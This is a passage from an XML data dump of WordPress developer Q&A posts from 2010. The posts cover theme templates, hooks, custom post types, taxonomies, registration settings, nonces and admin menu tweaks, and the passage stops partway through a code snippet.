  <row Id="3824" PostTypeId="2" ParentId="3788" CreationDate="2010-11-09T13:58:01.593" Score="1" ViewCount="" Body="&lt;p&gt;You can never be sure, but you can use heuristics to make an educated guess. Are you only talking about single post pages, or also lists? Some widgets also list post titles, I assume you don't care about sidebars?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you do not know whether it is the title that is written in &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; tags. If you see &lt;code&gt;&amp;lt;h1&amp;gt;{$title}&amp;lt;/h1&amp;gt;&lt;/code&gt;, is it the post title or the site name, or something completely else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would simplify the question to this: does the current main template file (that is &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/template-loader.php#L42&quot; rel=&quot;nofollow&quot;&gt;included by &lt;code&gt;template-loader.php&lt;/code&gt;&lt;/a&gt;) contain &lt;code&gt;&amp;lt;h1&amp;gt;[some stuff]title[some stuff]&amp;lt;/h1&amp;gt;&lt;/code&gt;? This would cover &lt;code&gt;&amp;lt;h1&amp;gt;{$title}&amp;lt;/h1&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&lt;/code&gt; and other common patterns. It would probably get fooled by commented parts, like &lt;code&gt;&amp;lt;!-- &amp;lt;h1&amp;gt;{$title}&amp;lt;/h1&amp;gt; --&amp;gt;&lt;/code&gt;. It does not cover &lt;code&gt;get_template_part()&lt;/code&gt; includes, maybe you can add that yourself (but there is no easy hook for that). Watch out for &lt;code&gt;&amp;lt;h1&amp;gt;Site name&amp;lt;/h1&amp;gt; [content] &amp;lt;h2&amp;gt;Post title&amp;lt;/h2&amp;gt; [content] &amp;lt;h1&amp;gt;Some other big heading&amp;lt;/h1&amp;gt;&lt;/code&gt;, you don't want to match that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general idea would be to hook (late) into the &lt;code&gt;template_include&lt;/code&gt; filter, so you know which template file will be included. Analyze this file, looking for the pattern above. If you find it, set a variable that was &lt;code&gt;null&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;. If you can't find it, set it to &lt;code&gt;false&lt;/code&gt;. Cache the result, since this will probably be an expensive operation and the template doesn't change that often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You won't know the result until the template will be included, but I assume you will change the output of &lt;code&gt;the_title()&lt;/code&gt; based on the result? In that case, you don't need to know it that early.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-09T13:58:01.593" />
  <row Id="3825" PostTypeId="2" ParentId="3788" CreationDate="2010-11-09T14:37:58.223" Score="6" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_API/wp_remote_get&quot; rel=&quot;nofollow&quot;&gt;Send an HTTP request&lt;/a&gt; to the page and search the &lt;a href=&quot;http://codex.wordpress.org/Function_API/wp_remote_retrieve_body&quot; rel=&quot;nofollow&quot;&gt;response body&lt;/a&gt; for &lt;code&gt;&amp;lt;/h1&amp;gt;&lt;/code&gt;. &#xA;See &lt;a href=&quot;https://gist.github.com/378450&quot; rel=&quot;nofollow&quot;&gt;this Gist&lt;/a&gt; for an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store the result in an option and delete this option when the user switches the theme (hook into the action &lt;code&gt;switch_theme&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2010-11-12T22:33:13.657" LastActivityDate="2010-11-12T22:33:13.657" CommentCount="3" />
  <row Id="3826" PostTypeId="2" ParentId="3814" CreationDate="2010-11-09T14:47:02.473" Score="3" ViewCount="" Body="&lt;p&gt;I was hoping you would clarify how you're outputing these links, as per Rarst's comment..&lt;br&gt;&#xA;That said, i'm going to assume you're using &lt;code&gt;wp_list_bookmarks&lt;/code&gt; to create a list of these links (there aren't many other functions for the purpose).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;wp_list_bookmarks&lt;/code&gt; there's only one hook available and that's called(ironically) &lt;code&gt;wp_list_bookmarks&lt;/code&gt;, which gives you a string with the output. The following should add the necessary code onto links for you..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_list_bookmarks', 'add_analytics_tracking' ); &#xA;function add_analytics_tracking( $bookmarks_string ) {&#xA;    $bookmarks_string = str_replace( &#xA;        '&amp;lt;a href', // Replace this&#xA;        '&amp;lt;a onClick=&quot;javascript: pageTracker._trackPageview(\'/downloads/map\');&quot; href', // With this&#xA;        $bookmarks_string // In this&#xA;    );&#xA;    return $bookmarks_string;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A second option would be to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_bookmarks&quot; rel=&quot;nofollow&quot;&gt;get_bookmarks&lt;/a&gt; (see the example on that codex page), just of course bear in mind that &lt;code&gt;get_bookmarks&lt;/code&gt; does little to sanitize the data you're getting back, &lt;code&gt;wp_list_bookmarks&lt;/code&gt; will deal with sanitization for you..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps in some way... :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-09T14:47:02.473" CommentCount="3" />
  <row Id="3827" PostTypeId="1" AcceptedAnswerId="3829" CreationDate="2010-11-09T15:46:59.250" Score="0" ViewCount="69" Body="&lt;p&gt;I need to allow registration as part of a build for a client, and I am aware this can be turned on in the admin panel, but can I turn it on in the function?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-11-09T15:55:49.623" Title="can registration be enabled programatically?" Tags="&lt;registration&gt;" AnswerCount="1" />
  <row Id="3828" PostTypeId="2" ParentId="2040" CreationDate="2010-11-09T15:51:30.547" Score="4" ViewCount="" Body="&lt;p&gt;This is quite possible with one simple filter. Now before i go onto the code, you should note there's no hook specifically for this, but there is a hook that occurs in an appropriate enough place for us to make modifications to new post objects..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create a new post (custom or regular post), WordPress calls a function &lt;code&gt;get_default_post_to_edit&lt;/code&gt; which sets the default values a new post will have. This function provides a few filter hooks for changing the default title, content and excerpt, but unfortunately nothing else... however each filter passes along the complete $post object, meaning we can re-set(modify) that post object...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will work for you, simply add the post types the code should apply to as cases inside the switch.. (movie and page are examples)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_default_content( $post_content, $post ) {&#xA;    if( $post-&amp;gt;post_type )&#xA;    switch( $post-&amp;gt;post_type ) {&#xA;        case 'page':&#xA;        case 'movie':&#xA;            $post-&amp;gt;comment_status = 'closed';&#xA;        break;&#xA;    }&#xA;    return $post_content;&#xA;}&#xA;add_filter( 'default_content', 'my_default_content', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code is tested on WP 3.0.1 and has the desired effect of disabling comments for the post types specifically whilst leaving others to inherit &lt;strong&gt;default&lt;/strong&gt; status from the &lt;code&gt;default_comment_status&lt;/code&gt; option..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-09T15:51:30.547" />
  <row Id="3829" PostTypeId="2" ParentId="3827" CreationDate="2010-11-09T15:55:49.623" Score="3" ViewCount="" Body="&lt;p&gt;Yes sure you can, just update the appropriate option inside your given function..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option( 'users_can_register', 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a checkbox option, so the value is 1 = on, 0 = off..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-09T15:55:49.623" CommentCount="2" />
  <row Id="3830" PostTypeId="1" AcceptedAnswerId="3833" CreationDate="2010-11-09T17:02:36.650" Score="1" ViewCount="64" Body="&lt;p&gt;trying to call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unregister_setting('general','users_can_register');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so as to removed the option for allowing or dissallowing user registration (it is required in the theme, so it is set programatically) but it is returning &lt;code&gt;Call to undefined function unregister_setting()...&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-11-09T18:08:34.150" Title="why is unregister_setting() undefined?" Tags="&lt;settings&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="3831" PostTypeId="2" ParentId="1039" CreationDate="2010-11-09T17:14:48.667" Score="2" ViewCount="" Body="&lt;p&gt;If you add your item into the menu by adding it to the &lt;code&gt;$submenu&lt;/code&gt; array directly you'll avoid the need to do the redirect and be able to use a complete offsite URL as the menu link (i do this myself).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu' , 'admin_menu_new_items' );&#xA;function admin_menu_new_items() {&#xA;    global $submenu;&#xA;    $submenu['index.php'][500] = array( 'Menu item name', 'manage_options' , 'http://example.com' ); &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php&lt;/code&gt; represents the key/link of the parent menu, so in the example i'm basically adding an item to the &lt;strong&gt;Dashboard&lt;/strong&gt; menu..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, it's not quite as pretty as using the &lt;code&gt;add_{type}_page&lt;/code&gt; functions, but it does work-around the fact WordPress prevents off-site URLs in admin menu links..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use something similar to add my various virtual hosts into the menu, so i can switch to other installations directly from the admin menu (all done with a script, but basically uses a glorified version of the above code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; If you decide to use the code, just be careful not to assign a key that's in use(the 500 array key in the example code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TIP:&lt;/strong&gt; You can actually use negative values in the menu keys to, so you can force you menu items to sit before any of the native WordPress items.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-09T17:14:48.667" CommentCount="3" />
  <row Id="3833" PostTypeId="2" ParentId="3830" CreationDate="2010-11-09T18:08:34.150" Score="1" ViewCount="" Body="&lt;p&gt;That function is only available from the wp-admin section of the site.  The file that contains it is only loaded as part of the wp-admin.  You need to wrap it in a hook function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function unregister_users_can_register_setting() {&#xA;    unregister_setting('general', 'users_can_register');&#xA;}&#xA;add_action('init', 'unregister_users_can_register_setting');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-09T18:08:34.150" CommentCount="1" />
  <row Id="3834" PostTypeId="2" ParentId="3814" CreationDate="2010-11-09T18:15:00.020" Score="3" ViewCount="" Body="&lt;p&gt;If you are using a plugin like &lt;a href=&quot;http://yoast.com/wordpress/google-analytics/&quot; rel=&quot;nofollow&quot;&gt;http://yoast.com/wordpress/google-analytics/&lt;/a&gt; then you can just enable outbound link tracking in the settings. It will append a tracking URL for you so you can segment in analytics.&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2010-11-09T18:15:00.020" CommentCount="2" />
  <row Id="3835" PostTypeId="1" CreationDate="2010-11-09T18:18:23.303" Score="1" ViewCount="485" Body="&lt;p&gt;I have the following code in my Functions.php file to create a custom taxonomy and post type. And I have created a series of posts within this post type and attached tags to them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_my_post_types' );&#xA;&#xA;function create_my_post_types() {&#xA;&#xA;register_post_type('portfolio', array(&#xA;    'label' =&amp;gt; __('Portfolio'),&#xA;    'singular_label' =&amp;gt; __('Portfolio'),&#xA;    'public' =&amp;gt; false,&#xA;    'show_ui' =&amp;gt; true,&#xA;    '_builtin' =&amp;gt; false,&#xA;    '_edit_link' =&amp;gt; 'post.php?post=%d',&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'work', 'with_front' =&amp;gt; false),&#xA;    'query_var' =&amp;gt; 'portfolio',&#xA;    'supports' =&amp;gt; array('title', 'thumbnail'),&#xA;    'menu_position' =&amp;gt; 5&#xA;));&#xA;&#xA;}&#xA;&#xA;add_action( 'init', 'create_pc_db_taxonomies', 0 );&#xA;&#xA;function create_pc_db_taxonomies() {&#xA;    register_taxonomy(&#xA;        'portfolio_tag',&#xA;        'portfolio',&#xA;        array(&#xA;            'hierarchical' =&amp;gt; true,&#xA;            'label' =&amp;gt; 'Portfolio Tags',&#xA;            'rewrite' =&amp;gt; array('slug' =&amp;gt; '', 'with_front' =&amp;gt; false)&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have created a custom loop on my home page and successfully shown my posts from this type which shows they work, however when viewing the taxonomy archive I just get the message that no posts could be found... It is finding the correct template to use just not seeing posts attached to that taxonomy. Here is the code for the Taxonomy.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;        &amp;lt;ul id=&quot;gallery&quot; class=&quot;portfolio-list clearfix&quot;&amp;gt;   &#xA;&#xA;            &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt; &#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;&#xA;                &amp;lt;?php if ( has_post_thumbnail() ) { ?&amp;gt;&#xA;&#xA;                    &amp;lt;a class=&quot;fancybox&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; rel=&quot;bookmark&quot; href=&quot;&amp;lt;?php&#xA;                    $attachments = get_children( array('post_parent' =&amp;gt; get_the_ID(), 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt;'image') );&#xA;                    foreach ( $attachments as $attachment_id =&amp;gt; $attachment ) {&#xA;                        echo wp_get_attachment_url( $attachment_id, 'medium' );&#xA;                    } ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;&#xA;                &amp;lt;?php } else { ?&amp;gt;&#xA;&#xA;                    &amp;lt;a class=&quot;fancybox&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; rel=&quot;bookmark&quot; href=&quot;http://dummyimage.com/640x480/333/fff&amp;amp;text=x&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;http://dummyimage.com/300x300/333/fff&amp;amp;text=x&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php _e('Sorry, no posts matched your criteria.'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any ideas why this is not working? Thanks&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="881" LastActivityDate="2010-11-12T21:14:19.897" Title="Taxonomy.php Not Showing Posts" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="3836" PostTypeId="2" ParentId="1779" CreationDate="2010-11-09T18:21:37.110" Score="2" ViewCount="" Body="&lt;p&gt;Please do not use get_template_part() in the Admin / Backend. It has been designed for template use (displaying the theme, please see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;), so this is intended to be used for templates and template-parts within themes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Function Reference/get template part&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Load a template part into a template&#xA;  (other than header, sidebar, footer).&#xA;  Makes it easy for a theme to reuse&#xA;  sections of code in an easy to&#xA;  overload way for child themes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The function does actually includes general source code as well, but what you experience (as John pointed out) might be related to scope. As I do not know your code, I can not say for sure, if that is the exact cause of the issue you're facing (variable scope), so I tend to keep it simple in my answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is just not desgined to replace as standard php code include, for example to write an admin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just do not use it if for your admin page unless you really know what you are doing.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to load a php file into the global scope while looking in the child and parent theme directory, you can make use of a function that does the search for the file for you: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/locate_template&quot; rel=&quot;nofollow&quot;&gt;locate_template()&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Retrieve the name of the highest priority template file that exists.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Searches in the STYLESHEETPATH before TEMPLATEPATH so that themes which inherit from a parent theme can just overload one file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For your given example include &lt;code&gt;include(TEMPLATEPATH.&quot;sitewideSettings.php&quot;);&lt;/code&gt; this can be written as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include(locate_template('sitewideSettings.php'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows you to control where and how the file is included (include/_once; require/_cone) and it prevents you to have the scope issue &lt;em&gt;in your example&lt;/em&gt; which breaks the NONCE mechanism.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The &quot;Please try again&quot; message is there because wp-admin is not able to verify the request, more specifically the so called &lt;a href=&quot;http://codex.wordpress.org/WordPress_Nonces&quot; rel=&quot;nofollow&quot;&gt;nonce&lt;/a&gt;. There can be two reasons for that: There is none in the request (e.g. the form does not provide any or it does not get's transferred or read by the admin code) or the nonce is invalid. Nonces always represent a chain of actions, and if that chain is broken, you'll get that message. But the message does not tells you where that chain is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those error messages in the admin are not always very informative and can be even misleading (Related: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14060&quot; rel=&quot;nofollow&quot;&gt;#14060&lt;/a&gt;). To find out what happens here, it's most effective to debug that on the system where the error appears as it can be quite specific which part of the chain is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see the codex on how to create Admin Pages for your Theme or Plugin for more in-depth information about nonces, admin pages etc. . It's not possible for the Admin request to validate the nonce for some reason.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-16T16:55:13.497" LastActivityDate="2010-11-16T16:55:13.497" CommentCount="6" />
  <row Id="3839" PostTypeId="2" ParentId="3835" CreationDate="2010-11-09T18:47:30.283" Score="3" ViewCount="" Body="&lt;p&gt;Discovered the problem. public was set to false!&lt;/p&gt;&#xA;" OwnerUserId="881" LastActivityDate="2010-11-09T18:47:30.283" CommentCount="2" />
  <row Id="3840" PostTypeId="2" ParentId="1543" CreationDate="2010-11-09T19:00:35.587" Score="1" ViewCount="" Body="&lt;p&gt;A reason for this can be that the Widget configuration data (that is what is stored into the database) is mixed-up on that certain blog. Those cases are hard to debug. What you can try is to reset all widget settings on that blog. Sometimes it's enough to remove the Text-Widget from the lower pane if it is available there. If not, remove the widget configuration from the database (backup first!). After that, the Text-Widget should be offered again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem could be something related to javascript. That's just a guess, but to play safe here, just disable javascript in your browser and then use the widget screen. It has a new design as it offerers now widget configuration in a non-js variant. You probably can setup the TextWidget here. So try this first even if you do not have a javascript problem.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-09T19:00:35.587" />
  <row Id="3841" PostTypeId="2" ParentId="2614" CreationDate="2010-11-09T19:19:28.143" Score="0" ViewCount="" Body="&lt;p&gt;This is totally simple. In you PHP script where you output the &lt;code&gt;?remove=54&lt;/code&gt; just output &lt;code&gt;remove/54&lt;/code&gt; instead. That should do the job to change the links as you asked for.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-09T19:19:28.143" CommentCount="2" />
  <row Id="3842" PostTypeId="2" ParentId="2982" CreationDate="2010-11-09T19:42:45.660" Score="3" ViewCount="" Body="&lt;p&gt;SimplePie, which ships with WordPress, does support images in feeds. Please see the SimplePie &lt;a href=&quot;http://simplepie.org/wiki/reference/start&quot; rel=&quot;nofollow&quot;&gt;Reference&lt;/a&gt; if you need to look for specific functions regarding images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to display images from feeds on your own site, you could for example create a plugin containing a custom widget that reads a feed for images. For example with the &lt;code&gt;get_feed_tags()&lt;/code&gt; function to look for IMG-tags. Those can be displayed by the widget then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be carefull not to inject content into your site you do not want to inject because of security reasons etc. .&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-09T19:42:45.660" />
  <row Id="3843" PostTypeId="2" ParentId="3015" CreationDate="2010-11-09T19:45:43.740" Score="1" ViewCount="" Body="&lt;p&gt;Question: Is it a problem to have a custom taxonomy and a custom post type use the same rewrite structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer: Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they share the exact same structure, you will get a race condition, so one of those won't work. But I assume that your scenario does not automatically lead to the same rewrite rules as the two things are differently prefixed.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-09T22:34:43.047" LastActivityDate="2010-11-09T22:34:43.047" CommentCount="4" />
  <row Id="3844" PostTypeId="1" CreationDate="2010-11-09T20:02:53.863" Score="0" ViewCount="127" Body="&lt;p&gt;I have a WP site in a temporary location, and the site URL is an IP address followed by slash, tilde and the short site name. I also have a number of internal links in the pages that assume linking from the root - &lt;code&gt;&amp;lt;a href=&quot;/services&quot;&amp;gt;&lt;/code&gt; - for example. Now these links do not work in the testing environment because of the shared IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I can do to make my internal links work, no matter where the site lives?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I'm trying to update links (and the SRC of uploaded images) in the page content, not in a template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANOTHER UPDATE: I think I'm going to just go the manual route and drop in absolute URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;jen&lt;/p&gt;&#xA;" OwnerUserId="1360" LastEditorUserId="1360" LastEditorDisplayName="" LastEditDate="2010-11-10T00:09:47.007" LastActivityDate="2010-11-10T02:17:04.137" Title="Internal linking when on a shared IP" Tags="&lt;permalinks&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="3845" PostTypeId="2" ParentId="3844" CreationDate="2010-11-09T20:15:10.013" Score="2" ViewCount="" Body="&lt;p&gt;You can wrap the links in echo home_url($path) to have them printed relative to the site.  So your link would be coded as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo home_url('/services')?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-09T20:15:10.013" CommentCount="2" />
  <row Id="3846" PostTypeId="2" ParentId="1733" CreationDate="2010-11-09T20:20:59.717" Score="0" ViewCount="" Body="&lt;p&gt;You might want to use CSS in order to have big flexibility, fix thumbnailing in your theme (if wanted) and avoid file clutter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.seifi.org/css/creating-thumbnails-using-the-css-clip-property.html&quot; rel=&quot;nofollow&quot;&gt;http://www.seifi.org/css/creating-thumbnails-using-the-css-clip-property.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that the whole image will be loaded, so do not use your 3MB originals for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update as per request of Jan:&lt;/em&gt;&#xA;If you do want dynamic clipping, consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For user=administrator, create CSS via PHP; you can just link to the php that reads the appropriate settings and adjust clipping parameters accordingly.&lt;/li&gt;&#xA;&lt;li&gt;For user=visitor, use JavaScript to change clipping parameters in the image's style attribute.&lt;/li&gt;&#xA;&lt;li&gt;As a less invasive solution, consider creating a shortcode (via the great plugin Shortcode Exec PHP) like [thumb w=?? h=??]url[/thumb] that you can translate to the appropriate HTML tag with inline CSS.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1524" LastEditorUserId="1524" LastEditorDisplayName="" LastEditDate="2010-11-09T20:53:56.790" LastActivityDate="2010-11-09T20:53:56.790" CommentCount="4" />
  <row Id="3847" PostTypeId="1" AcceptedAnswerId="3852" CreationDate="2010-11-09T22:10:29.683" Score="0" ViewCount="185" Body="&lt;p&gt;What is the variable that holds the wp.me url? / What is the webservice / call that provides me the wp.me url? / What is the workaround to read that rel tag from the dynamic generator header (on a self hosted domain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... to show it beneath each post.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-21T00:50:07.587" LastActivityDate="2010-11-21T00:50:07.587" Title="How to show wp.me shortlink underneath each post?" Tags="&lt;3.0&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="3848" PostTypeId="2" ParentId="1567" CreationDate="2010-11-09T22:18:07.710" Score="8" ViewCount="" Body="&lt;h2&gt;Output which theme template file a post/page is using in the header&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_head', 'show_template');&#xA;function show_template() {&#xA;    global $template;&#xA;    print_r($template);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Shorten the default DIV output if your theme is using post_class.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;if your theme is using something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can have crazy long divs in your source that might look like this or even longer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post-4&quot; class=&quot;post-4 post type-post hentry category-uncategorized category-test category-test-1-billion category-test2 category-test3 category-testing&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can really start to clutter your source and seem rather unnecessary in most cases, going 3-4 deep is good enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the top example we can slice the output like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// slice crazy long div outputs&#xA;    function category_id_class($classes) {&#xA;        global $post;&#xA;        foreach((get_the_category($post-&amp;gt;ID)) as $category)&#xA;            $classes[] = $category-&amp;gt;category_nicename;&#xA;            return array_slice($classes, 0,5);&#xA;    }&#xA;    add_filter('post_class', 'category_id_class');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this slices the output to only include the first 5 values, so the above example becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post-4&quot; class=&quot;post-4 post type-post hentry category-uncategorized&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Make category archives display all posts, regardless of post type: good for custom post types&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function any_ptype_on_cat($request) {&#xA; if ( isset($request['category_name']) )&#xA;  $request['post_type'] = 'any';&#xA;&#xA; return $request;&#xA;}&#xA;add_filter('request', 'any_ptype_on_cat');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Remove unwanted dashboard items&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This was already posted but it did not have the full list of items. Especially those annoying &quot;incoming links!&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_dashboard_setup', 'my_custom_dashboard_widgets');&#xA;&#xA;function my_custom_dashboard_widgets() {&#xA;global $wp_meta_boxes;&#xA; //Right Now - Comments, Posts, Pages at a glance&#xA;unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);&#xA;//Recent 